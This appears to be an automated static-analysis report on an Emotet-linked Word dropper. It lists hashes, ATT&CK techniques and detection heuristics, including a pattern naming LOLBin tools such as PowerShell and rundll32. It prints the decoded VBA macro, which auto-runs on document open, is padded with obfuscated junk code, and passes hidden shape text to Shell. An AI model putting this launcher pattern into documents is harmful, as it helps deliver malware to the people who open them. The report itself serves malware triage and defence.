Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 10b6015590acba3a…

MALICIOUS

Office (OLE)

66.1 KB Created: 2018-11-06 07:28:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 3bacb2438260ece65addb37757a4b415 SHA-1: b5319843226bfe5cefb6d8ec1deba45c4725274e SHA-256: 10b6015590acba3acbea28ebc1274e2083c3f0ce7902fa3a91c43f29ff5efb8e
212 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that executes a heavily obfuscated PowerShell command. This command decodes and executes a second-stage payload, as indicated by the suspicious cmd.exe and PowerShell invocations. The ClamAV detection strongly suggests this is an Emotet variant, a known downloader family.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6769504-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6769504-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1032 bytes
SHA-256: fefe5147814e34af3e20d2c77e73a86090231818a5c5c18aaad81a5b75a56262
Detection
ClamAV: No threats found
Obfuscation or payload: likely
28 of 56 identifiers look randomly generated (e.g. 'ahsEvtjt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MlDSLVqi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   SEGOac = (wwQHdc + ssRDK + JhVCRR + kzJYU / zzbGlh + LiRiSs)
   cJYDWd = uGWFQd + slTEKY / (wrDQbZ + TYFXLh + BYcMzH + EjIdB)
   jjdHm = jRVmuD + ahRhFv * rMrsL + VsIun * (FompbP + jCjDp + vRvWR + YFRLTr)
   ACWFXz = (HpOcHS + hLvnAv * (iznmM + HzRLF / mlbopW + LKwfi + oQKFOu + EvSDiS))
   VcnIbz = zBnsp + fMzHJ / bPzaV + TOVocT
   hcqfK = BFppCi + BVvTXG + qZBsa + KuYkrz / (YzmwE + QwJhz + jMRszi + SpPHb * FRbGhF + ENDEjz)
   cWZIG = (liDwIU + zosmh / IQmjWd + iPnkZC / OXnzLo + OsCoY)
Const ARLcz = 587792227 - 587792227
Shell@ Shapes(1).TextFrame.TextRange.Text + ahsEvtjt + BafcIpL, ARLcz
   zopcbz = (TIMJwS + cOiPX + LliEG + XZkvP * AQLBl + RFDaX + sciSDO + anvnM)
End Sub